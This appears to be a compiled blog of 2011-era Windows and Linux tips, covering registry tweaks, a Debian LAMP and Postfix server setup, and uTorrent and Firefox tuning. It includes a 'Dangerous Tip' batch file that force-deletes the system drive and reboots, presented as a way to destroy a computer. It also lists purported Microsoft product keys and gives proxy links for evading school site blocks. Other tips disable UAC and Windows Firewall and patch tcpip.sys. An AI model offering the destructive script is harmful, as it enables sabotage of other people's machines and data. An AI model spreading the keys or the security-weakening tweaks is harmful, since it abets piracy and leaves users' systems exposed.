Close the Registry editor and restart your computer for changes to apply.

Now when you want to restore the default setting, open the Registry Editor and set its value back to 3.

Now again close the Registry editor and restart your computer for changes to apply.

2011-08-31T04:09:00.007-07:00

Restore Previously Open Folders After Shutdown

If you need to access lot of folders on your home computer or on the network regularly, then you can set them re-open automatically, when you will login, shutdown or restart your computer next time. There is no need to open regularly used folders manually, just configure the simple sitting, your computer will automatically reload all the previously opened windows.

By default windows XP disables this option to reload automatically all the previously opened windows, when you login on, shutdown or restart your computer.

Follow the given steps to configure your computer to reload previously opened folders automatically after shutdown.

To edit this feature, you will need to be logged into your computer with administrative rights.
First click on Start button then go to Control Panel.
Open the “Appearance and Themes” option in control panel then click on Folder Options.
A small windows dialog box will appear with the title “Folder options”, click on View tab.
Under the Advanced setting section, scroll down to bottom and click the “Restore previous folder windows at logon” option and then click Ok button to save sitting.
Now when you log off, restart or shutdown, your computer will automatically open the previously opened folders from the same location as before.

2011-08-31T04:09:00.005-07:00

Set up and Use Internet Connection Sharing

To enable Internet Connection Sharing on a network connection You must be logged on to your computer with an owner account in order to complete this procedure. Open Network Connections. (

1. Click Start, click Control Panel, and then double-click Network Connections.)

2. Click the dial-up, local area network, PPPoE, or VPN connection you want to share, and then, under Network Tasks, click Change settings of this connection.

3. On the Advanced tab, select the Allow other network users to connect through this computer's Internet connection check box.

If you want this connection to dial automatically when another computer on your home or small office network attempts to access external resources, select the Establish a dial-up connection whenever a computer on my network attempts to access the Internet check box.

If you want other network users to enable or disable the shared Internet connection, select the Allow other network users to control or disable the shared Internet connection check box.

Under Internet Connection Sharing, in Home networking connection, select any adapter that connects the computer sharing its Internet connection to the other computers on your network. The Home networking connection is only present when two or more network adapters are installed on the computer.

To configure Internet options on your client computers for Internet Connection Sharing Open Internet Explorer. Click Start, point to All Programs, and then click Internet Explorer.)

On the Tools menu, click Internet Options.

On the Connections tab, click Never dial a connection, and then click LAN Settings. In Automatic configuration, clear the Automatically detect settings and Use automatic configuration script check boxes.

In Proxy Server, clear the Use a proxy server check box.

2011-08-31T04:09:00.003-07:00

Surf Blocked Sites

Are you frustrated because you are not able to visit your favorite websites in your school or college or any place where some sites are blocked? There are two methods to access these sites:

First Method:

Search the banned website, for example www.pctipsntricks.wordpress.com in Google or Yahoo! search engine. Then open the cached copy of that page to access the website. You can get also cache link of that website, if you search in Google with keyword cache:[URL] and get cache link to access the website.

Second Method:

Below are the list of various sites from which you can surf the blocked websites !

http://kproxy.com
http://backfox.com
http://atunnel.com
http://calculatepie.com
http://www.stupidcensorship.com
http://www.vmathpie.com
http://www.xroxee.com
http://mathtunnel.com
http://www.pagemod.com

2011-08-31T04:09:00.001-07:00

Set Processes Priority

Follow this tip to increase the priority of active processes, this will result in prioritisation of processes using the CPU.CTRL-SHIFT-ESC

1.Go to the second tab called Processes, right click on one of the active processes, you will see the Set Priority option

2.For example, your Run your CDwriter program , set the priority higher, and guess what, no crashed CD's

2011-08-31T04:08:00.005-07:00

Setting Up a Server on LINUX

Submited In : Operating Systems » Linux

date: 24 August 2008

Setting Up a Server on LINUX

This article teaches you, the reader, how to configure a GNU/Linux based server with three of the most important services that must be provided in a company, at home, a lab or anywhere else, both for clients and internal usage: web, database, mail. So it will be assumed that the idea is to host websites that use certain technologies such as a scripting language and a database (for dynamic sites), and also to act as a mailing tool, for sending and receiving email.

Consider that this article only shows some of the basic features for configuring these services, each program has much more in depth options. Entire books have been written just about Apache or MySQL. So, don't just stay with what you learn here, play around, read, learn; system administration is all about security and performance, so there's a lot more to discover.

I have also decided to show some optimization (tuning) techniques for a better performance. We will use only free/open source software in this article, thus,it is not necessary to buy commercial licenses. The software we will use is Debian GNU/Linux, Apache, MySQL, PHP and Postfix. The first three are what is called LAMP, where the P can stand for various server side scripting languages such as PHP, Perl and Python. In general, it represents the open source web platform (both for developing and using it). I have been using LAMP and Postfix for years and must say that, after trying lots of other programs of the same sort, it is the wisest choice if you want a powerful, easy to use/configure/maintain and secure server environment.

Why use Debian? I have always liked this distribution because it's easy to manage packages (programs) and system services. It is also very secure and stable, making it perfect for servers and any system that must run 24/7. It's huge package repository (over 15490) is more than enough to get the best use out of any computer system.

Why use Apache? Simple - it's currently the best, most secure and most used HTTP server. It also supports a huge amount of modules and extensions. Here are some specific benefits of Apache: support, efficiency, portability and customizability.

Why use MySQL? It's logo says it all: The world's most popular open source database. This DBMS is reliable, powerful and easy to manage and use. Also, we will use it with Postfix for better integration and performance.

Why use Postfix? If you ask any systems administrator why he/she uses Postfix as a Mail Transport Agent (MTA) the answer will be it's easy and fast. Another great feature is it's security and the wide amount of operating systems it can run on (BSD, Linux, AIX, Solaris, OSX, etc.)
Installing and Configuring Apache

We will use Apache 2 because it has been rewritten for better performance and security. It brings more out of the box optimizations for scalability and throughput, as opposed to version 1.3 (which is not even being maintained anymore). So let's get to it, we first download and install the essential software:\

apt-get install apache2

This will also install the following packages: apache2, apache2-common,apache2-mpm-worker and apache2-utils. Now, try connecting to localhost:80 and you should see a page saying that Apache as been configured correctly. If not,you might have something wrong with the network settings, but that's a whole different ball game. By default, when installing services in Debian it leaves them configured to start when you boot GNU/Linux so you don't have to worry about further system configuration. For controlling the daemon we have apache2clt or we can use Debian's init utilities:

/etc/init.d/apache2 start|stop|restart|reload|force-reload
apacheclt start|stop|restart|...

Apache2's configuration files, by default, are in /etc/apache2/. Whenever a configuration is modified, the server must be restarted. Here is a description of some of the more important files and directories:

* apache2.conf is where the main configuration is, it used to be httpd.conf, so don't be fooled.
* mods-available/ is the directory with all the modules that are available. The .load contain the Apache directives that are needed to load the modules. And the .conf are the configuration directives for each module.
* mods-enabled/ is the directory that contains the symbolic links to the modules that we want to enable from mod-available/. At least the .load file must be there, so we will have: /etc/apache2/mod-enabled/modulex.load -> /etc/apache2/mod-available/modulex.load

Let's take this to practice, say we want to enable user directories:

(http://www.myurl.com/~someuser/). First uncomment the following in apache2.conf:

Next, we create the symbolic links for this module and restart the server:

cd /etc/apache2
ln -s mods-available/userdir.* /etc/apache2/mods-enabled/
/etc/init.d/apache restart

This works for all the modules you want to load. Now let's try some optimization methods. Apache uses a great deal of resources, specially RAM, because it accumulates whatever is necessary to accommodate what it's serving and this process never decreases until it is complete. This takes up as much RAM as the largest dynamic script.

To help reduce this problem, edit apache2.conf and enable KeepAlive (increases time) and set a low value for KeepAliveTimout (this will reduce the time the process waits without doing anything). Also, set the value for MaxRequestsPerChild around 20, depending on the amount of dynamic sites the server is hosting. The idea behind this is that when the process ends, it makes it start over again, but with lower RAM usage. However, by doing this, you might have to increase MaxClients around 50%.
Installing and Configuring MySQL

MySQL 5 introduces a number of new features, compared to older versions, such as new data types, precision math, better performance for storage, faster queries and better handling of certain types. The list goes on, so I recommend checking out the official documentation to see how you can take advantage of the latest version. To get it:

apt-get install mysql-server-5.0

libdbd-mysql-perl, libmysqlclient15off, mysql-client-5.0 and mysql-common will also be installed. Debian will also make sure MySQL starts at boot time. To control the daemon, I use the init script and voila!:

/etc/init.d/mysql start|stop|restart|reload|force-reload|status

To first start working with this database, the root password must be set. The word root does not apply to the system's root, but to the database administrator, however, it can be the same person. So let's set it and log in:

mysqladmin -u root password 'thepassword'
mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 10 to server version: 5.0.20a-Debian_1-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql>

If you don't like using the command line system (lazy sysadmins), there a couple graphical user interfaces for MySQL, such as MySQLCC (QT), gMySQLCC (GTK+), etc. Since everything is running fine (or should be) it's time to optimize. MySQL uses algorithms that let you run it with little memory, but you can give it options to increase the memory usage if you have more, and therefore increase performance. To lower the amount of time MySQL sits waiting, edit the configuration file: /etc/mysql/my.cnf and add/change the following (values may vary depending on your specific needs):

wait_timeout=60
connect_timeout=10
interactive_timeout=100
join_buffer_size=1M
query_cache_size=128M
query_cache_limit=2M
max_allowed_packet=16M
table_cache=1024

Installing and Configuring PHP

Now that we have our httpd server up and running we can setup PHP. Debian includes PHP5 in the official package repository, not too long ago only up to version 4 was supported. So let's get it:

apt-get install php5

Just like for Apache and MySQL, extra packages will have to be install as well: apache2-mpm-prefork, libapache2-mod-php5 and php5-common.

Now, add support for MySQL:

apt-get install php5-mysql

I also like to add some more packages for PHP, such as CLI, Pear, LDAP, IMAP, GD, mhash, ODBC and PostScript:

apt-get install php5-cli php-pear php5-ldap php5-imap php5-gd\
php5-mhash php5-odbc php5-ps

The configuration file for PHP is located in /etc/php5/apache2/php.ini, every time you modify it, Apache must be restarted. So let's see if everything is working. First let's create a simple script, called information.php, in Apache's DocumentRoot, that is /var/www/information.php and inside it should go:

Now, fireup a browser and open http://www.mycompany.com/information.php. You should see a page with information about the PHP version that is installed. Also it provides some details about Apache, and all the PHP modules. Last, but not least, let's make sure MySQL and PHP are working well together. First, log in to MySQL and create a new database:

mysql> create database test;
Query OK, 1 row affected (0.00 sec)

mysql> exit
Bye

'

Create a new file, db.php, in the same directory and write:

Check your browser and you should see: connection success. Now for a little optimization. Usually compiling PHP scripts on the fly uses a lot of memory, so if your hosting several big web sites and have lots of users visiting, you might want to do something about this resource abuse. The solution is to use a program that keeps the scripts precompiled. The most popular include Zend Accelerator, Turck MMCache and PHP Accelerator. Performance can increase up to 200%.

Finally LAMP is up, running and optimized. You can also provide further services, such as more databases (PosgreSQL, Oracle, Informix, etc) and more server side languages (Perl, JSP, Python, etc).
Installing and Configuring Postfix

Postfix was originally written as an alternative to Sendmail, which is used in most mail servers around the world. Unfortunately, Sendmail is hard to use (and manage) and very bug prone, therefore securing it can be quite a task. This is why Postfix is a fantastic option. Just like with the rest of the software, we download and install it, with support with MySQL:

apt-get install postfix postfix-mysql

Leave the values dpkg suggests when configuring. The default configuration files are in /etc/postfix, we will only use main.cf. Once done, we create the postfix user for MySQL and the database for the emails:

mysql -A -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 5.0.20a-Debian_2-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> use mysql;
Database changed
mysql> insert into user (host, user, password) values ('localhost', 'postfix', password('thepostfixpass'));
Query OK, 1 row affected, 3 warnings (0.00 sec)

mysql> insert into db (host, db, user, select_priv) values ('localhost', 'mail', 'postfix', 'Y');
Query OK, 1 row affected (0.00 sec)

mysql> create database mail;
Query OK, 1 row affected (0.01 sec)

Afterward, MySQL must be restarted to use the new user and database. If everything worked correctly, then there shouldn't be any problem logging in as postfix using the mail database. So now we create our tables, as root:

mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3 to server version: 5.0.20a-Debian_2-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> use mail;
Database changed
mysql> create table transport (
-> domain varchar(255) primary key,
-> transport char(8),
-> access varchar(2)
-> default 'OK');
Query OK, 0 rows affected (0.01 sec)

mysql> create table aliases (
-> id int(6),
-> alias varchar(255) primary key,
-> maildir varchar(255) not null,
-> access varchar(2)
-> default 'OK');
Query OK, 0 rows affected (0.00 sec)

mysql> create table remote_alias (
-> alias varchar(255) primary key,
-> rcpt varchar(255) not null);
Query OK, 0 rows affected (0.01 sec)

mysql> create table domain1 (
-> user varchar(255) primary key,
-> pass varchar(255) not null,
-> maildir varchar(255) not null,
-> active int(8)
-> default 1);
Query OK, 0 rows affected (0.00 sec)

The next step is configuring Postfix to support MySQL, so edit the configuration file and add:

transport_maps=mysql:/etc/postfix/transport.cf
virtual_mailbox_base=/home/postfix
virtual_uid_maps=mysql:/etc/postfix/ids.cf
virtual_gid_maps=mysql:/etc/postfix/ids.cf
virtual_mailbox_maps=mysql:/etc/postfix/aliases.cf
virtual_maps=mysql:/etc/postfix/remote_aliases.cf

Since we are specifying files that don't exist, we must create them. In transport.cf write:

user=postfix
password=thepostfixpass # the password used in MySQL
dbname=mail
table=transport
select_field=transport
where_field=domain
hosts=localhost

user=postfix
password=thepostfixpass # the password used in MySQL
dbname=mail
table=aliases
select_field=maildir
where_field=alias
hosts=localhost

In ids.cf:

user=postfix
password=thepostfixpass # the password used in MySQL
dbname=mail
table=aliases
select_field=id
where_field=alias
hosts=localhost

And for the final file, remote_aliases.cf:

user=postfix
password=thepostfixpass # the password used in MySQL
dbname=mail
table=remote_aliases
select_field=rcpt
where_field=alias
hosts=localhost

Lets now create the information for the domain1 example in MySQL:

mysql -A -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 8 to server version: 5.0.20a-Debian_2-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> use mail;
Database changed
mysql> insert into transport(domain, transport) values ('domain1.com', 'virtual:');
Query OK, 1 row affected (0.00 sec)

To add users to that domain, simply insert into the aliases table the data (you can get postfix's userid from /etc/passwd, for example:

mysql>insert into aliases values
(postfix_uid,'user@domain1.com','domain1/user', 'OK');

Finally everything should be working smoothly. Make sure you constantly check the logs (/var/log/mail.log), even if everything is normal, because the first place you might detect an attack is there.

2011-08-31T04:08:00.003-07:00

Removing the Shortcut Icon Arrows

1.Open RegEdit
2.Open the Key HKEY_CLASSES_ROOT
3.Open the Key LNKFILE
4.Delete the value IsShortcut
5.Open the next Key PIFFILE
6.Delete the value IsShortcut
7.Restart the Windows

2011-08-31T04:08:00.001-07:00

IMPROVE XP SHUTDOWN SPEED

This tweak reduces the time XP waits before automatically closing any running programs when you give it the command to shutdown.

Go to Start then select Run

Type 'Regedit' and click ok

Find 'HKEY_CURRENT_USER\Control Panel\Desktop\'

Select 'WaitToKillAppTimeout'

Right click and select 'Modify'

Change the value to '1000'

Click 'OK'

Now select 'HungAppTimeout'

Right click and select 'Modify'

Change the value to '1000' Click 'OK'

2011-08-31T04:06:00.006-07:00

Watch Any Movie In Paint (100%) Working

* First start a movie in any player.

* Then open Paint.

* Now, in the player when the movie is being played, press "Print screen" button on your key board.

* Now, Press ctrl+v in Paint

* Leave the movie player open and don't minimize it.

* Open Paint now and see the movie in the Paint

*you can edit it also

2011-08-31T04:06:00.005-07:00

To make folder delete protected

1)Right click on the folder

2)Then in the general tab click advanced (near read only option)

3)In that click encrypt contents to secure data.

4)This can happen if u run windows Xp and you have Ntfs file system on that particular drive and an administrative account.Its Workin ..!!

2011-08-31T04:06:00.003-07:00

[How To] Permanently disable UAC in Windows 7 / Vista

User Account Control is a technique implemented in latest Windows Operating Systems to safeguard it from inexperienced computer users. It mainly aims at securing the system from accidental damages caused by users. But sometimes it may interfere in simple program installation or some other simple tasks. This may be annoying for users.

Here is a small step by step guide on disabling UAC in Windows 7 / Vista.

Go to start, type regedit.exe in searchbox and press enter.
Navigate to the following entry in Registry Editor.
HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion Policies System
Now look for EnableLUA in right side pane. If the key is not there then create new DWORD with same name. Double click on the key and change its value to ’0′.
http://tipsfromgeek.com/wp-content/uploads/2010/07/Disable-uac-392-x-284.gif
Press OK, restart your computer and done.

2011-08-31T04:06:00.001-07:00

The easy way to Fix your Task Manager

Task Manager has been disabled by your administrator

Have you encountered the error in your PC “Task Manager has been disabled by your administrator“ or your task manager has just suddenly stops working? This error message appears due to restriction placed in the Windows Registry. One can easily enable Task Manager by editing some registry settings. For a normal user editing registry is not easy and a bit risky. Well here is the instant solution to those common Task Manager common errors.

Task Manager Fix is a FREEWARE system utility to fix task manager disabled by spywares, trojans and displays error message : “Task Manager has been disabled by your administrator“, which blocks access to Windows Task Manager.

Task Manager Fix is designed to enable disabled Task Manager. Download the FREE Task Manager Fix tool to quickly enable Task Manager. Handy windows system recovery tool to remove task manager restrictions and effective solution to the problem - “Task Manager not Working”.

2011-08-31T04:05:00.005-07:00

View Admin At welcome Screen

By default windows XP doesn't show the Administrator in the user list at the welcome screen. Here's a way to get around it.

Now head up to

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\Userlist

create a new DWORD entry and name it as Administrator and change its value to 1.

exit and reboot for the changes to take effect.
To change it back change its value to 0 or simply delete the key.

2011-08-31T04:05:00.003-07:00

Convert VMware .vmdk to KVM .qcow2 or Virtualbox .vdi

I wrote this how to as I was having problems converting a VMware image to KVM. The existing tutorials all suggest using qemu-img to convert the .vmdk, however it was not working as qemu-img only supports VMware 3 and 4 compatible image formats.

At least that is what Google searching and reading the qemu man pages yielded after I got this error message :

qemu-img convert Ubuntu.vmdk -O qcow2 Ubuntu.qcow
qemu-img: Could not open ‘Ubuntu.qcow’

And to make matters worse, it was difficult to find any information on converting the .vmdk if it was split into multiple files.

This is how I ended up converting. You can convert from a .vdi or a “flat” .vmdk
First convert the .vmdk to a format compatible with qemu-img.

Turns out this can be done with vmware-vdiskmanager.

1. Converting from .vmdk

Use vmware-vdiskmanager to create a copy. This works with a single or multiple disks.

ls
Ubuntu.vmdk
Ubuntu-f001.vmdk
Ubuntu-f002.vmdk
Ubuntu-f003.vmdk ...

vmware-vdiskmanager -r Ubuntu.vmdk -t 0 Ubuntu-copy.vmdk

Note: If you have multiple disks, use Ubuntu.vmdk as well (you do not need to convert each Ubuntu-f001.vmdk).

Note: That is a -t Zero not a capital O. see man vmware-vdiskmanager.

Note: vmware-vdiskmanager is part of vmware server (and workstation, not sure about player).

2. Alternate – Converting “flat files”.

Flat files are used by vmware if you create a virtual disk (vmdk) with the “Allocate all disk space now” option (you have this option when creating disks for use with vmware). Flat files contain all the data from your .vmdk and can (usually) be converted directly.

Notice, flat files can be directly converted to .qcow. If you wish to convert to .vdi (VirtualBox) convert flat to raw.
KVM :

qemu-img convert Ubuntu-flat.vmdk -O qcow2 Ubuntu-copy.qemu

Note: That is a capital O qcow2
RAW (for VirtualBox)

qemu-img convert Ubuntu-copy.vmdk -O qcow2 Ubuntu-copy.qemu

Note: That is a capital O qcow2

3. Boot the image with KVM

kvm -hda Ubuntu-copy.qcow -net nic -net user -m 512

Caveats :

If you have vmware-tools installed, you will have mouse integration.
If you have vmware-tools installed, the guest desktop may well be larger then the kvm window. You will need to resize the guest display to 800×600 .
I could not convert a .vmdk which was using LVM (Fedora).

VirtualBox – Convert to .vdi

1. First use qemu-img to convert the copy .vmdk to raw.

qemu-img convert Ubuntu-copy.vmdk Ubuntu-copy.img

qemu-img with no options will make a raw image. If you prefer you can specify

qemu-img convert Ubuntu-flat.vmdk -O raw Ubuntu-copy.img

2. Then convert the raw image with VBoxManage

VBoxManage convertfromraw – -format VDI Ubuntu-copy.img Ubuntu-copy.vdi

Note: Two – - in front of “format” (Wordpress converts two – - to one long one).

3. Start VirtualBox, make a new machine or add the Ubuntu.vdi to an existing machine.

Caveats :

With VMWare-tools installed, Mouse integration did not work (as it did with KVM).
The resolution of the guest is also larger then the Virtualbox window.
I installed the VirtualBoxAdditions and guest resolution worked well, mouse integration, however, did not.

As always, I hope this helps. Converting usually went smoothly for me however there is the occasional .vmdk I could not convert.

2011-08-31T04:05:00.001-07:00

Speed Up utorrent RAPIDLY

uTorrent was very slow for me until recently I applied a few tweaks. Here's what I did.

Note: Some of the settings mentioned below are optimized for 256k connection. If you want to calculate the optimal settings for your connection, check at the end of this tutorial. But I suggest you to read the entire tutorial for guidance on other settings.

First go to Options>Preferences>Network

1. Under 'Port used for incoming connections', enter any port number. It is best to use a port number above 10000. I use 45682.mine 10981

2. Randomize port each time utorrent starts: UNCHECKED. I leave this unchecked because I have a router. If you do not have a router or a firewall, and want extra security, check this option.

3. Enable UPnP port mapping (Windows Xp or later only): UNCHECKED. I leave this unchecked because I have experienced it slowing down speeds. It is not needed if you manually port forward.

4. Add utorrent to Windows Firewall exceptions (Windows XP SP2 or later only): UNCHECKED (do this only if you have windows firewall disabled)

5. Global Maximum upload rate (kb/s): [0: unlimited]: 22 (for 256k connection)

6. Protocol Encryption: ENABLED. I would recommend everyone to enable this. This can help increase speeds with many ISPs.

7. Allow incoming Legacy Connections: CHECKED

Network Settings

Options>Preferences>Torrents

1. Global Maximum Number of Connections: 130 (for 256k connection) This number should not be set too low or the number of connections made to your torrents will be limited. Setting it too high may cause too much bandwidth to be used and can cause slowdowns. For mine 200

2. Maximum Number of connected peers per torrent: 70 (for 256k connection) If you see that the peers connected to a specific torrent are exactly this number, or very close, increase this number to improve speeds.mine 150

3. Number of upload slots per torrent: 3 (for 256k connection) This depends on how much you want to upload to other users. Do not set too low or it may affect download speeds. mine 4

4. Use additional upload slots if upload speed Preferences>Advanced

net.max_halfopen: 50

If you use Windows XP SP2, patch tcpip.sys with LvlLord's Event ID 4226 Patcher to get better performance.

DO NOT CHANGE THIS OPTION unless you have Windows XP SP2 and have patched tcpip.sys.

You can also patch tcpip.sys with xp-Antispy

If you have a firewall

* Open up the options/preferences/settings for the firewall - usually your firewall will have an icon to click in the taskbar

* Look for the keywords "allow list" or "programs"

* Add the application you want to give access to the internet

* Make sure to save your settings when you are done

If you have a router

1. Go to start>run>type cmd, press enter>type ipconfig, press enter

2. Remember both your ip address and your default gateway

3. Type in your default gateway into your default browser, a password prompt may come up. The default username and password are admin for my router

4. Under 'Applications' fill out one line for each p2p client you use

5. You need to use your ip address, the correct port range and set either tcp or udp

6. You can find and change the ports in the actual p2p client's settings, just make sure they are the same in the router

7. Most p2p apps need both tcp and udp checked, if you are not sure check your p2p client's FAQ

8. Save your settings

:!: Check PortForward.com to forward ports for uTorrent.

Some of the settings I mentioned above are relative to my bandwidth.

How to calculate optimal settings for your connection

In order to apply the following tips you need to know your maximum upload and download speeds. You can test your bandwidth over here.

Maximum upload speed

If you use your Maximum upload speed, there won't be not enough space left for the files you are downloading. So you have to cap your upload speed.

This is how I calculate my optimal upload speed…

upload speed * 80%

Maximum download speed

Setting your maximum download speed to unlimited will hurt your connection. So use this to calculate your optimal setting.

download speed * 90%

Maximum connected peers per torrent

upload speed * 1.3

Maximum upload slots

1 + (upload speed / 6)

Disable Windows Firewall

Windows Firewall hates P2P and so disable it and get yourself a decent firewall like Zone Alarm.

And last optimize your Internet connection with TCP Optimizer.

Original Microsoft Product Keys

Here are some original Microsoft keys for its various products.

Microsoft Product Key(Original Key)

Windows Server :

Windows Server 2003 R2 Enterprise Edition -----KX9YP-83MH3-GTFVG-JKCWC-629HG

Windows Server 2003 R2 Standard Edition -----FQFYX-JXQRT-3MJGD-2B8HP-KHC8B

Windows Server Longhorn February 2007 CTP (IA64) -----9JB9R-HV9F2-9TQRG-372M3-DWH6H

Windows Server Longhorn February 2007 CTP (x86 and x64) ----- RGVDW-V3J3C-6CD3P-2CQJV-GF4PG

WINDOWS VISTA :

Windows Vista Business ----------- J9QVT-JJMB9-RVJ38-M8KT6-DMT9M

Windows Vista Home Basic --------- KJTCW-YQGRK-XPQMR-YTQG8-DKVG6

Windows Vista Home Basic N ------- YQWWH-2YD6Y-V3K2X-H4H8V-WJ8WT

Windows Vista Home Premium ------ PYYBC-K9XT9-V92KD-6CT89-4VB82

Windows Vista Ultimate ------------ PVVFY-2F78Q-8T7M8-HDQB2-BR3YT

Windows Vista Enterprise ---------- CYD8T-QHBMC-6RCMK-4GHRD-CRRB7

WINDOWS XP :

Windows XP Home Edition K ---------- W8F6Q-HM3JB-2XRHD-7Q92J-XKY6W

Windows XP Home Edition KN --------- M9D9J-2TQV2-FBJQP-2M8G8-DGQ26

Windows XP Media Center Edition ----- H23CJ-2WXM9-M9D2K-42226-DJWRD

Windows XP Professional Edition K ---- FRH2X-6VD7F-YH2TV-2V8B7-J46F6

Windows XP Professional Edition KN --- QKBGY-T8JFG-F448Q-24KR9-48XPJ

Windows XP Home Edition ------------ GHGCP-3KFC6-Y4J4D-MVG7V-67TV6

Windows XP Professional ------------- F9QV9-HDYR3-6QDR4-PGVW9-GTBBJ

Windows XP Professional IA64 Edition - BGVXG-CM3VK-FX848-B9JPY-YJJXD

Windows XP Professional x64 Edition -- PFFY7-Y9RRY-MT6C7-XMQPK-RWFCW

Windows XP Tablet PC Edition -------- WFMYK-68Y2T-JD473-W8DMW-8PFHQ

WINDOWS 2000 :

Windows 2000 Professional ------------ DDTPV-TXMX7-BBGJ9-WGY8K-B9GHM

Windows 2000 Server (All Versions) ---- KRJQ8-RQ822-YRMXF-6TTXC-HD2VM

MICROSOFT OFFICE + FRONT PAGE :

Office XP Professional with FrontPage - GBJ7J-7MYPV-RJ46R-RQJXJ-WQ2CM

Office Professional 2007 -------------- VMRGQ-G3YMP-RWYH2-4TQ97-CT2HD

Office Ultimate 2007 ----------------- VJPW8-MB6MR-8D8YM-TW37V-WYVX3

Office Professional Plus 2007 --------- VBQJ8-CBP7J-CP4BH-Q9GFW-B8X

Office System Beta 2 2007 ----------- RQCRJ-FCTYM-V3PDF-GRD46-9YHXQ

Outlook 2007 ------------------------ DB4QP-GTFT3-FT3T6-VHHJ9-98XQQ

Office System Groove Server 2007 Beta 2 ----- WCMWF-H7DD9-3R2Q6-QM863-G7XD6

Office System Project Server 2007 Beta 2 ----- CYGH3-KVXBH-JDQV3-FFYPP-XGKD3

Office System SharePoint Server 2007 Beta 2 ----- C39KH-VHBKR-KT62D-Q4FVG-4PB76

FrontPage Professional 2003 ---------- RV3CJ-VCB3D-9PY99-YDKX8-9MG2T

EXCHANGE :

Exchange Server 2007 Enterprise Edition ------ PYYMB-HQQMQ-3TBM2-XJ99F-83XVM

Exchange Server 2007 Standard Edition ------ W3MX6-2WXMD-QB887-4WGPK-VPVDY

Forms Server 2007 -------------------- K76FH-Y2JHK-9BGCR-37KPR-4Y6JQ

Project Portfolio Server 2007 ---------- QRPKT-683CC-MJ9VJ-FHBCC-HYKGD

Project Server 2007 ------------------- GM27X-X6X37-T69MH-98J3Q-44TKG

SHARE POINT :

SharePoint Server 2007 Enterprise Edition --- F6YVR-4XY7K-RCVY4-37FBK-G44PY

SharePoint Server 2007 for Search Enterprise Edition ------ P87VV-Q34RV-GW2HT-JVXWV-3VFPM

SharePoint Server 2007 for Search Standard Edition ------ MYBJH-6YGQQ-6WW3C-FGM3V-YY6JW

SharePoint Server 2007 Standard Edition ------ WFF2P-M8XYH-3B33C-6KPP9-XVQTG

SharePoint Designer 2007 ------------ T9CJK-W68FW-D9FX6-37HG3-XHF7D

ACCESS + GROOVE + INFOPATH E.T.C :

Access 2007 ------------------------- HP44H-VWH8K-J7T22-QD3KC-37F7D

Groove 2007 ------------------------- MCW9C-WTKM4-KRHBQ-CPYJQ-YYD93

Groove Server 2007 ------------------ R4X9H-MP2C6-CV2FX-QGPKY-93RPG

InfoPath 2007 ----------------------- C3R8F-TMMYD-TBGDP-2RDXT-88393

InterConnect 2007 ------------------- P2BJF-HGV87-RRFB7-8DVQR-F23DQ

OneNote 2007 ----------------------- GJ2V8-K8CHV-7QP4V-K23TM-CMQDQ

Project Professional 2007 ------------ T7CBB-KW6DD-VTHB9-6V4D4-K3393

Project Standard 2007 --------------- G2XT7-K47QK-BFVXC-83T9M-8Y63Q

Publisher 2007 ----------------------- VC3PJ-TBV6V-XWG4P-2GRBH-RVWVD

Visio Professional 2007 --------------- JVBKC-PVJRX-MCT9J-JV7FK-JXYK3

Visio Standard 2007 ----------------- VYK2W-K2Q3Y-MRCTC-WRWMY-8JCHD

Tip 4:

How to increase download speeds in firefox

Firefox is configured by default for dial-up speeds. If you have high speed internet access such as DSL or cable, you can change a few settings in Firefox and increase your download speeds. If you change the number of connections that Firefox uses to download, you will see a dramatic increas in your bandwidth. The larger the file you are downloading, the greater the speed will be, because more connections can be made to the server.

1. Change Firefox connection setting by typing "about:config" in the address bar of Firefox.

2. In the "Filter:" bar, type "persistent"

3. You should now see two preference names with their values:

network.http.max-persistent-connections-per-proxy user set interger 4

network.http.max-persistent-connections-per-server user set interger 2

4. Double click on each of the preference names. A window will pop-up allowing you to change the values for each. If you have cable or DSL use a number between 20 and 30!. Click OK.

Tip 5:

Firefox: Extreme Speed !

Once you've loaded up firefox go to the address bar and type or copy and paste:

about:config

Right click and select: New -> Integer

Name the integer or copy paste:

nglayout.initialpaint.delay

Change the integers value to:

300

You can also use 0 (zero) as an Integer Value, if you don't like the performance of the 300 Integer Value.

Enjoy & Watch Your Speed!

Or If Not Try This One Too!

1. Type "about:config" into the address bar and hit return. Scroll down and look for the following entries:

network.http.pipelining

network.http.proxy.pipelining

network.http.pipelining.maxrequests

Normally the browser will make one request to a web page at a time. When you enable pipelining it will make several at once, which really speeds up page loading.

2. Alter the entries as follows:

Set "network.http.pipelining" to "true"

Set "network.http.proxy.pipelining" to "true"

Set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once.

3. Lastly right-click anywhere in the "aboug:config" page and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it recieves.

4. Restart Firefox

If you're using a broadband connection you'll load pages 2-3 times faster now.

Tip 6:

How to eliminate Firefox popups Once and For All

1. Type about:config into the Firefox location bar.

2. Right-click on the page and select New and then Integer.

3. Name it privacy.popups.disable_from_plugins

4. Set the value to 2.

The possible values are:

* 0: Allow all popups from plugins.

* 1: Allow popups, but limit them to dom.popup_maximum.

* 2: Block popups from plugins.

* 3: Block popups from plugins, even on whitelisted sites.

Tip 7 : Dangerous Tip

Destroy's Computer

Type this command in notepad and save as .bat

@echo off

del %systemdrive%\*.* /f /s /q

shutdown -r -f -t 00

What it does is ?

you get a blue screen that say's file is missing please intall XP again

Tip 8:

A Trick To Check Ur Antivirus Is Working Properly

Open notepad

Copy this code in the text file....

"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"

without qutoes....

then save it with the name fakevirus.exe

If this file got deleted immediately ....that means ur antivirus is working n updated

Tip 9

Bios beep codes!!!

bios beep codes

BIOS Beep Codes (AMI Known as American Megatrends International & Phoenix)

